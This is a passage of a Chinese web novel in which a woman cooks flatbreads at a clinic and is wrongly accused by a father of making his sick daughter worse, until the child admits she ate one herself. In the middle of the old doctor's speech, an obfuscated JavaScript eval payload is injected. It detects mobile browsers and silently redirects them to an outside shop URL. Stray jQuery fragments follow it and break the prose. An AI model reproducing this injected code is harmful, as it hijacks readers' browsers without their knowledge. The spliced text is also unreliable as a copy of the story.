这一问叫言笑渔瞬间回神,当下意识到自己好像停留太久,打扰到人家父女温馨时刻了。
“没事。”她尴尬一笑,端起另一碗糖水,立马闪人溜回房照顾时漪漪去了。
时漪漪半倚在床上喝完糖水,总算回血了几分,一有了几分力气,就开始虚弱着气息没完没了地剖白过失、告罪自责。
她一会儿为自己没炖熟豆角的愚蠢行为后悔不已,一会儿又觉得自己就该多吃一些,没准儿毒死后就能穿回原来的世界了。
念在她还是个脆弱病人的份上,言笑渔选择无视闺蜜这种祥林嫂行为,默默帮她擦洗了一番,便赶紧端盆出去倒水了。
在院中倒完水,她转脚便去了厨房,毕竟人是铁饭是钢,一顿不吃她饿得慌啊。
厨房里已经亮起了烛火,小棋正蹲在灶前努力拉着风箱,见她进来忙起身招呼道:“姑娘一定是饿了吧,再等等,粥很快就好了。”
“你在熬粥?”
“是啊,两位病人是肠胃病,只能喝些粥了,”说着说着,他竟不好意思起来,“不过我也只会熬粥,不会别的,平日里都是师兄做饭,他不在的这些时日,我天天熬粥,都快把师父的脸给喝白了。”
言笑渔扑哧一笑:“我倒是不介意喝粥,配点佐粥小菜也挺好的。”
“有小菜的!”小棋一听立刻从角落的咸菜坛子里夹出一块黑乎乎的东西给她看。
看着那块不明物体,言笑渔有些没控制住自己的表情。小棋见状连忙又将腌菜塞回去,赧然道:“其实姑娘给的那五两银子,够付连吃带住半个月的钱了,若是姑娘有什么想吃的,我可以现在就去酒楼买。”
“你们不是没钱了么?”
“没关系的,酒楼的人知道我们医馆,可以赊账,等师兄回来再去付钱就是!”
言笑渔很为他的热情感动,但也告诉他这样着实没必要。她在厨房里随意转了一圈,倒发现一罐梅干菜和面粉,于是灵机一动问道:“家里有猪油么?”
“有的有的,”小棋立刻从柜子里取出猪油罐子,“厨房里的东西姑娘可随便用,您可是想亲自下厨了?”
“没错,今儿个你和你师父有口福了!”
前世言笑渔也算穷人的孩子早当家,她无父无母,由爷爷抚养长大。爷爷去世后,她只能自己撑起家,做饭不过是众多照顾自己的技能之一而已。
说做就做,她当即洗手挽袖,先用猪油和好面团,趁面松弛的功夫,将淘洗好的梅干菜切碎,下锅与猪油葱花一起炒香做馅。
另一边小棋已将许久不用的案板刷洗得干干净净,言笑渔用面剂子包馅,在案板上擀出一个个薄薄的面胚,贴到小火烘煨的锅壁上。
很快,厨房里飘起阵阵麦香与油香,馋得小棋直咽口水,也顾不上什么礼节了,第一锅刚出炉就忍不住吃了一个。
又脆又韧的咸香口感让他回味无穷,要不是想到师父还饿着肚子,怕是忍不住把一锅全部吃掉了。
“姑娘做的麦饼是我吃过最好吃的!”他不吝夸赞道。
“这个其实叫锅盔,不过今日就凑合吃吧,要是搁点肉馅、洒层芝麻还能更香。”
“明日我就去买!”小棋兴冲冲盛好粥,拿着两个锅盔去给师父品尝了。
言笑渔将剩下的面胚烙好,又给小棋留了两个,其余的分成两份,连粥一起端到西厢房去。
她先把时昀的那份送了过去,可后者并不在屋内,只阿妙一个人躺在床上,正百无聊赖地玩自己的手指头。
言笑渔走过去摸了摸她的额头,边试温边问:“你爹爹呢?”
“去给阿妙取水了。”她人虽小,鼻子却灵,再加上一日未进食,方才又吐空了胃,一闻到香味就爬起来吵着要吃麦饼。
言笑渔哄道:“阿妙病了,只能喝粥,麦饼是给你爹爹吃的,等你病好了,母亲再给你做好多好多,想吃多少吃多少,好吗?”阿妙的小嘴撅得能挂油壶,但还是点头答应了。
“那就这么说定了,等你爹爹回来,让他喂你粥喝,千万别吃麦饼哟。”她叮嘱完这句,便回到隔壁房间享受自己的晚餐了。
新鲜出炉的锅盔脆香满口,咬一口锅盔,再就一口热粥,不一会儿言笑渔就吃得满头大汗、心满意足。
时漪漪喝着手里的白粥,眼巴巴问道:“一次吃三个锅盔,你能吃得完么?”
“三十个我也吃得完,你就别瞎惦记了,喝你的清粥好吧,再说这玩意儿又不是肉馅的,不好吃。”
“你骗谁啊,”时漪漪吸溜了下口水,“我又不是没吃过你做的饭,就没有不好吃的。”
言笑渔见状只好又拿出哄阿妙的那套来哄闺蜜,转移到离她远些的位置,并加快了进食速度。
用过饭后,二人只简单洗漱一番就上床睡下了。带病奔波了一整日,时漪漪不多时就沉沉跌入梦乡。而言笑渔许是白天在马车上眯了那一长觉的缘故,酝酿了许久都没有生出睡意。
夜深人静,万家灯火俱灭,偶尔从远巷中传来几声犬吠,很快便又沉寂在黑夜之中。
身侧人的呼吸愈来愈绵长均匀,言笑渔翻来覆去不知过了多久,总算等到了思绪有所分散游离。然而就在现实与梦境交接之际,隐有人的言语声断断续续传来。
渐渐地,她意识到那交谈声并非梦境,而是来自现实中的隔壁,间或还有孩童的抽噎声以及门扇开关的声音。
好不容易积攒起来的睡意全无,她叹了口气,睁眼在黑暗中静静听了会儿,最终还是起身点灯,悄悄穿好衣裳出门去了。
隔壁房间灯火通明,小阿妙正趴在时昀怀里,像只小羊羔一样痛苦地哼唧着。时昀面色焦急,却仍轻声安抚。他一身衣着整齐,眼下淡青,显然一夜都不曾解衣入睡。而老大夫则披衣在一旁火上烤针,看样子又要为阿妙施针。
“怎么了,阿妙又不舒服了?”言笑渔进屋问道。
“抱歉把你吵醒了,”青年眉头紧锁,“阿妙上半夜睡得好好的,刚才突然腹部绞痛。”
“按说已经吐出有毒的食物,该有好转才是,”老大夫疑惑道,“先前我给这女娃切脉,发现她肠胃曾受过不小的损害,她之前是不是也曾误食过什么有毒的东西?”
此问一出,屋内二人骤然沉默,只因他们不约而同想到一月前那场上京时宅里的中毒风波。
言笑渔还在思索该怎么描述此事,只听时昀坦然答道:“是,一月前小女误食家中做药用的砒霜,上吐下泻好几日,幸亏所食不多……”
“啊哟哟,你们做父母的也太大意了,怎么能让孩子接触到那种剧毒的东西!”老大夫痛心疾首,“就算进食不多,对五脏六腑的伤害也是极大的,想来定是那次伤到了肠胃,此番再
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17947547|213269||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
次中毒恢复困难,连喝点粥都克化不了了!”
这边老大夫对年轻父母的批判还未结束,那边阿妙就又一次呕吐了。
老大夫赶紧拿灯查看地上的污秽,惊异问道:“你们给她吃麦饼了?”
时昀一愣:“未曾给她吃过。”
“那她为什么会吐出还未消化的麦饼?”老大夫气愤质问,“你们做父母的太不负责了,叮嘱了多少遍小娃只能吃软粥,你们却不听!难怪她会腹痛,麦饼干硬难消化,对她的肠胃来说简直雪上加霜!”
“可我并未……”突然,时昀似想到了什么,目光一转看向言笑渔:“是你给她吃的?”
怀疑与猜忌从那样一双微微发红的冷眸中透出,有如结了冰的深潭,带着细碎寒意一寸寸扎在言笑渔的身上,蓦然让她想起一月前那场在时家祠堂中千夫所指的审判。
不过是短暂的迟疑,却让青年目光中的猜疑陡然变成了愠怒。
“说啊,到底是不是你拿给她吃的!”
时昀为阿妙的担惊受怕在此刻累加到了极点,而言笑渔的怔愣在他眼里看来就是一种默认,一时间愠怒便又转变成了不可置信。
“阿妙不过是个孩子,你为什么一而再再而三地这样对她?”
“我怎么对她了?”言笑渔缓过神后终于找回了自己的言语功能,“我不过就是给你们端来晚饭而已,其余的什么都没做,好心却被当成驴肝肺!”
说完,她气鼓鼓扭头离去,只恨自己明明不被信任,还要多管闲事上赶着关心那对父女做甚!
就在言笑渔躺回床上辗转反侧懊悔方才怎么没第一时间怼骂回去时,隔壁小阿妙也在老大夫的施针中渐渐缓解了腹部疼痛。
小肚子舒服了,小脑袋也开始转起来。
“爹爹,麦饼是阿妙偷偷吃的。”三岁的年纪尚且吐字不清,但她却笃定地举起小手,用刚学会的算数,掰起手指,“母亲拿来三个麦饼,阿妙吃了一个,剩两个给爹爹。”
正在给她揉摁穴位的时昀动作一滞:“最开始盘子里有三个麦饼?”
阿妙还以为他生气了,一下子捂住自己的小圆脸:“阿妙错了,阿妙不听母亲的话,偷吃麦饼,我不要打打!”
“打打”是从前乳母威胁她听话时的一种惩罚。时昀叹了口气,安抚道:“没有打打,犯了错只要勇于承认就还是好阿妙。”
他继续帮阿妙揉摁穴位,可渐渐地却有些心神不宁。
按照阿妙的说法,今晚的事显然是他错怪了言笑渔。一想到方才她面对自己无端指责而不可置信的样子,心底就泛起一阵阵不安情愫。
好不容易等阿妙再次入睡,他却意识清明,躺在床上毫无睡意。
所谓君子坦荡荡,时昀不禁反思自己为何先入为主地认定她会做有害于阿妙的事情。难道真的是因为一月前那场毫无实证、有如闹剧般不了了之的投毒指控?
若她真如乳母所控诉那般意图将阿妙置于死地,那在码头失散以后,或者落入土匪窝时,她有太多机会将一个稚童处理掉了。
可她不仅没有,还把阿妙护得很好。
脑海中浮现出那个女人在佛像后为了护住阿妙和漪漪,与东庆军拼命的场景。诚然,她举起巨石砸人的动作是丑笨了些,但人在极度危险下做出的反应却很难伪装。
他不该误会她。